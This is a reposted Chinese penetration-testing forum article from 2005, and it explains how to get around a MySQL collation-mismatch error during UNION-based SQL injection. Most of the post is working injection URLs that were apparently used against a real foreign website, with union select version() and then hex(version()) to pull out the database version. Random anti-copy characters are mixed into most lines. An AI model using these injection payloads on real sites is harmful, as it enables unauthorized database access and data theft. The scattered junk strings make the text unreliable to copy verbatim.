中国网络渗透测试联盟

标题: MySQL注射时ErrorNo.1267的突破 [打印本页]

作者: admin    时间: 2012-9-15 14:04
标题: MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei/ ~% W. \1 i2 @3 |% h
文章性质:原创
7 [( w0 @: i9 k5 f: T6 T发布日期:2005-10-18
0 J1 B, q$ [8 k2 ?) N( w  Z测试个国外的站时:
0 t5 x$ d. I) C2 P/ h5 `, I0 Qurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*5 E$ H9 l# y& {2 w$ g3 d6 V7 g
返回错误:
' X4 f% }3 Z1 D2 t) P7 Q* @- Y* zIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'# p; v) z4 c" I
MySQL Error No. 126
/ w4 _* T: l. t9 q看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。0 G* M7 m4 V4 J6 ?6 {
解决办法:转为其他编码如hex。7 |# a, C: O4 e- V6 Q
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
# z4 ^2 u1 [3 W/ U! G成功得到hex(version())的值为:
* N( d9 s. g7 |. J342E312E332D62657461
+ K, d+ Q  Z2 k$ X# i& ]回Mysql查询下得到:
: A5 k* `& y2 v6 lmysql> select 0x342E312E332D62657461;
) j8 f7 F" M/ I, o! y+------------------------+1 Z$ h: @+ K8 d* O  b5 b/ a5 q* u
| 0x342E312E332D62657461 |2 Y6 c+ n1 W% b
+------------------------+" R- I5 ^4 ]% j( B7 ^8 K1 Q8 l: O
| 4.1.3-beta |/ I+ ^9 T; U2 L6 {* @$ t7 Q
+------------------------+
' X) T0 b/ {, ^; ]! s1 row in set (0.00 sec); R7 |3 n: G  P5 j" r1 l& z
3 c% L$ h) }+ \* S! H3 q





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2